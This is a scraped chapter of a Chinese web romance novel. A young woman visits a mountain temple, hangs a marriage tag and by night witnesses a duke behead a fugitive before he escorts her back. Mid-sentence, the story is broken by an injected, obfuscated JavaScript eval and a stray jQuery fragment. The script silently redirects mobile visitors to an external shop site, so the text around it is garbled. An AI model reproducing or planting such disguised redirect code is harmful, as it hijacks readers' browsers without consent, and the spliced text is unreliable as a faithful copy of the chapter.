文趣网 > 都市小说 > 笨蛋美人错惹权臣后 > 7. 第 7 章(修)
    明永寺位于城外阳春山,不如城中皇觉寺香火旺盛,但胜在风景极佳,于姻缘上颇为灵验,极受未婚女子与家中有待嫁女的妇人欢迎。

    法事在哪儿做不是做,柳夫人有此提议,自是想让褚微云去城外散散心,松快松快。

    褚微云当然愿意。

    听说三房要去明永寺,褚安馨嚷嚷着也要去,一通折腾后,三房女眷纷纷出动,三辆马车浩浩荡荡驶向阳春山。

    好不容易能出来透透气,褚微云暂时忘却惹人厌的江越,一路勾着车窗往外看。

    柳夫人好笑,“雪景有什么好看的,等暖和了,娘带你去踏青放纸鸢。”

    “真的?”

    褚微云惊喜不已,“那我们说好了,不准食言。”

    柳夫人没好气地戳她额头,“那是自然。”

    褚微云笑眯眯转回去。

    京城多雪,但她在崇州也见过雪景,因而看了片刻便失了兴致,歪回马车里补眠,快到时才悠悠转醒。

    崇州的寺庙多在半山腰,以往每回陪柳夫人进香,褚微云都累得半死,明永寺却在阳春山南麓,马车能直接进去。

    褚微云好奇,“娘,这山为何要叫阳春山?”

    柳夫人摇头,“我幼时它便叫这个名字,许是因寺中阳春面得名。”

    褚微云来了精神,“那这阳春面得有多好吃?”

    柳夫人:“在我吃过的素面中位列第一。”

    褚微云高兴地晃着脑袋,“那我一会儿可要多吃一碗。”

    “小馋猫。”

    柳夫人嗔笑。

    马车停稳,母女俩依次下车。

    城阳侯府早早使人知会过,一进寺中,便有僧人引领众人前去厢房安顿。

    稍坐片刻,三位长辈领着姑娘们去进香。

    褚微云领了香,跪在佛前,闭着眼默念。

    佛祖保佑,外祖父在天有灵,一定要让您的外孙女成功退婚,再觅一如意郎君,气死江越那混蛋。

    念叨了三遍,褚微云虔诚地将香插入香炉中,拜了三拜。

    法事冗长无趣,柳夫人让褚微云在外祖父灵位前磕了头,便让她随姐姐们出去。

    殿内烟气缭绕,檀香浓郁,出了门,长吸一口气,鼻息间尽是冰凉之气,褚微云才觉自己活了过来。

    她四处张望,“我对此地不熟,姐姐们想去哪儿?”

    褚安馨道:“来了明永寺当然要求姻缘,我去姻缘树。”

    褚芳琴红了脸,小声道:“我与三姐姐同去。”

    褚安露微笑,“那便一起吧。”

    姐姐们都去,褚微云自然跟随。

    褚安馨白她一眼,“你有了好姻缘还去?”

    她和文瑶算是彻底闹掰了,这阵子看褚微云眼睛不是眼睛,鼻子不是鼻子,找准时机就呛她几句。

    褚微云正为婚事烦闷,一听这话骨子里的小叛逆噌噌往外冒,哼道:“不让我去我偏去,我就去。”

    褚安馨气得跺脚。

    褚安露嗔道:“怎么又拌起嘴来了,我们姐妹既是一同来的,自然同去。”

    褚安馨重重一哼。

    褚芳琴夹在中间不敢说话。

    有个褚安露打圆场,气氛不算僵硬,褚微云没一会儿便将这小小的不愉快抛之脑后。

    远远的,她瞧见飘在雪中的一片红,抬手指着询问:“二姐姐,那就是姻缘树吗?”

    褚安露笑着颔首,“正是。”

    “那我们快走。”

    正值寒冬,农忙已过,正是乡下相看的大好时机,因而哪怕是在寒冷冬日,姻缘树旁依旧围了不少衣着普通的年轻姑娘。

    她们踮起脚尖,被冻得两颊生晕的脸上噙着憧憬的笑,将手中木牌挂在树枝上。

    残叶落尽,遒劲挺拔的古木上挂满系着红飘带的木牌,飘带于风中飞扬,如朱霞倒悬。艳色被白雪覆盖,满树清冷之美。

    褚微云盯着光秃秃的枝丫。

    回京之后,她极不习惯的便是冬日难见绿意,四处都是光秃秃的,看久了难免压抑。

    不过这树到了春日,应该很漂亮。

    “走,咱们去买姻缘牌。”

    褚安馨兴致勃勃。

    姻缘树下有僧人在卖姻缘牌,按照精细程度分开售卖,普通的两文钱一枚,精致的竟要半两银子。

    “这么贵。”

    褚微云嘀咕。

    白袍僧人笑着解释,“施主有所不知,这些姻缘牌都在佛前供奉过,价格自然高昂,也更灵验。”

    褚微云挑了一枚刻有芍药纹样的,放在鼻端轻轻一嗅,的确有股香味。

    褚安馨轻哼一声,“果然在乡下地方待久了,半两银子也嫌贵,她们几个的姻缘牌我包了,芳容,给银子。”

    褚微云偷偷看向褚安馨,嘴角没忍住翘起,小声道:“三姐姐也没那么坏嘛。”

    褚安露失笑,“她出手向来大方,你别和她一般见识。”

    褚芳琴也低声道:“三姐姐是很大方。”

    褚微云嗯嗯点头。

    交了银钱,白袍僧人将笔墨交给姑娘们,褚微云认认真真在木牌上写下自己的名字。

    仰望古木,她端详许久,挑了个位置,踮起脚尖挂上姻缘牌。

    冬日树枝光滑,红丝带颤颤巍巍地勾住枝丫,摇摇晃晃挂在树上。

    褚微云心中嘟囔,会不会掉下来啊。

    “五妹妹,我们该走了。”

    褚安露挂好木牌,回头拍褚微云的肩。

    “好。”

    闲逛两圈,午时便到了。

    午膳用的是褚微云惦记一上午的阳春面,果真如柳夫人所言极为美味,她没忍住一口气吃了两碗。

    下午和姐妹们游玩许久,才觉腹中饱胀感逐渐散去。

    山中清冷,晚间众人早早地歇息了,褚微云却一时睡不着,趴在窗边赏月。

    今晚的月色极美,圆月悬于树顶,皎洁月光如薄纱铺陈,照得雪光明亮,静谧安宁。

    看着看着,腹中陡然一阵响动,在寂静夜色中极为清晰。

    褚微云摸了摸肚子。

    秋华和冬实都歇下了,她并未惊动两人,寻了盏提灯,轻手轻脚离开厢房。

    立在岔路口,褚微云挠挠额角,“厨房在哪个方向来着?”

    随意择了条路,她拎着灯往前行。

    路边亮着灯,照亮两侧之景,褚微云越看越觉得眼熟,又走了几步,隐约瞧见明月下方的繁茂枯枝,她恍然大悟。

    这是去姻缘树的路。

    她记得,这个方向没有厨房。

    走错了。

    褚微云叹了声气,正准备原路返回,余光忽然瞥过一道人影。

    潜意识以为是寺中僧人,她正要将人唤住,下一瞬,却见那人墨发高束,发尾拂腰。

    不是僧人啊。

    褚微云失落。

    那人好似极为焦急,步履匆匆从褚微云前方走过,石灯中的蜡烛微微摇晃,如画眉眼在她眼中一闪而逝。

    江越?!

    他怎么会在这儿?

    褚微云的目光追随过去。

    这么晚了,他要去做什么?

    有猫腻,绝对有猫腻,肯定是什么见不得人的事。

    她圆润的眼睛霎时亮如星辰,激动窃喜从眼角溢出。

    待她抓个正着,不就有了江越的把柄?

    褚微云跃跃欲试,朝江越离开的方向快步追上去。

    她一心只有抓住江越的把柄,全然忘了周遭之景,等回过神来时,不仅寻不到江越身影,自己也不知身在何方了。

    褚微云苦恼地抓着提灯。

    现在可怎么办啊。

    一阵冷风吹过,她裹紧身上斗篷,满脸不高兴。

    看来只能算了。

    就这么放过江越,她实在不甘心。

    耷拉着眉眼,褚微云原路返回。

    身旁枯草忽地响起“沙沙”声,草丛中似有人影晃动。

    褚微云眼睛一亮。

    江越!

    她噌地扑过去,一把掀开杂草。

    寒光从面上扫过,围脖上的绒毛被风吹得轻轻抖动,“啪嗒”一声,提灯掉落在地,“刺啦”一声,灯灭了。

    月色皎洁,明星荧荧,高大人影立在夜幕之下,精致侧容与周遭荒芜杂草格格不入,骨节分明的手掌握住刀柄,手起刀落砍下跪在身下之人的脑袋。

    热血飞溅,掠过那人漫不经心的眉眼,似一朵开在眼中的血莲,妖异艳丽,勾魂夺魄。

    似是注意到窥探的视线,他随意瞥来一眼,手中刀柄随之一侧,寒光映照出一双淡漠冷冽的眼。

    被砍落的头颅骨碌碌滚落,那双死不瞑目的眼正正对准褚微云,她看了一眼,瞬间吓得魂飞魄散,堵在喉咙里的尖叫终于挤出。

    “啊!!”

    “主子,是褚五姑娘。”

    永晋收回横在褚微云脖颈间的刀。

    “别杀我别杀我,我什么都没看到,别杀我。”

    褚微云抱着脑袋蹲下,视线下滑,再度对上那双血眼,她吓得又叫一声,捂住眼睛瑟缩成一团,牙

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811011|210826||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    关不断打颤。

    温似白掏出一张帕子,擦去刀上血迹,将手帕丢在无头尸体上,对永晋使了个眼色。

    永晋了然,一手拖着尸体,一手拎着断头悄无声息离开。

    杂草晃荡如浪,温似白将刀别在腰上,拾起掉落在地的提灯。

    “大晚上的,褚五姑娘怎么在这儿?”

    褚微云重重一抖,含着哭腔央求,“别杀我,我什么都不知道,也保证不会把今晚发生的事说出去,求求你别杀我。”

    温似白无语,“我何曾说过要杀你?”

    褚微云一顿,小心翼翼放下半只手,露出一双被泪水浸染的清澈眼睛。

    她可怜巴巴地抽泣,战战兢兢求证,“真、真的不会杀我?”

    温似白翻了翻眼,“方才那人是潜逃已久的犯人,他想杀我,我才动手杀他。你并非作奸犯科之徒,我杀你做甚?”

    褚微云腿一软,刹那跌坐在地,一脸劫后余生,“不杀我就好。”

    温似白挑眉,“胆子这么小,还敢大晚上的一个人在外晃悠?”

    褚微云:“我饿了,出来找吃的。”

    嗅着空气中尚未散去的血腥气,她干呕一声。

    这回无论再怎么饿,都吃不下了。

    吓都吓饱了。

    温似白匪夷所思,“你来荒郊野岭找吃的?”

    “……我迷路了。”

    风声诡谲尖锐,杂草影子不断摇晃,褚微云汗毛直立,结结巴巴道:“我、我先回了,国公爷自、自便。”

    温似白看着猫儿似的缩成一团的少女,递出手中提灯。

    褚微云条件反射一抖,紧紧闭着眼,求饶的话尚未吐露,却发觉温似白并无其他动作。

    她悄悄睁开一只眼。

    灯笼在眼前晃啊晃,像她此刻的小心脏,担惊受怕地悬在半空,迟迟无法坠地。

    “谢、谢谢。”

    褚微云伸手接过,没拉动。

    温似白意味不明地笑了声,“能起来?”

    褚微云动了动腿,发觉依旧酸软得紧,全无力气。

    她抓住灯杆,小声道:“多谢国公爷。”

    温似白:“我送你回去。”

    手轻轻一拽,褚微云瞬间被拉过去。

    她擦掉泪水,倏地抬头盯着温似白的侧脸。

    他要送她回去?

    这与鬼同行有什么区别?

    好可怕!

    不管内心如何害怕抗拒,褚微云依旧畏畏缩缩地跟温似白走了。

    一路上余光都在观察四周之景,随时准备逃跑。

    虽然温似白说了不会杀她,但他刚刚才杀了人啊!杀了一个人,不是一只鸡一只鸭。

    一个人!

    怪不得姐姐们对他如此避之不及,原来他真的好可怕。

    好可怕好可怕!

    褚微云忍住哭意,亦步亦趋跟在温似白身后。

    月亮被乌云遮挡,身侧并无石灯照明,她紧紧抓住提灯,丝毫不敢放手。

    走了不知多久,眼前迎来光亮,看着熟悉的古木,褚微云大喜。

    “接下来的路我认识,国公爷留步,我自己回去即可。”

    她迫不及待丢手。

    “等等。”

    低沉男声在身后响起,褚微云后背一僵,脑子里瞬间闪过各种不好的念头。

    她僵硬转身,“国公爷有何吩咐?”

    温似白取出提灯中的蜡烛,放入石灯内引燃,将灯递给褚微云。

    “拿着。”

    褚微云忙不迭接过。

    走出两步,她倏地停住,语速极快道:“国公爷放心,今晚之事我不会告诉任何人。”

    话音甫落,提着裙子飞快跑走。

    温似白静静看着空无一人的小道,嗤笑一声。

    杀个逃犯罢了,即便被外人所知,他也不惧。

    褚家这位姑娘不仅憨,还胆小天真。

    握住刀柄,温似白悠然提步。

    “咚——”

    有东西从天而降,砸中他的脑袋。

    “什么东西?”

    温似白拧眉,拾起地上之物。

    是块木牌。

    抬头一看,满树都挂着相似的牌子。

    此地貌似是明永寺有名的姻缘树,褚家姑娘如此娴熟,是白日里也来求过她与江越的姻缘?

    无趣。

    温似白眸色冷淡,随手一抛,姻缘牌牢牢挂在树上。

    星光黯淡,木牌上端正秀丽的“褚微云”三个字隐入黑暗中,无人得见。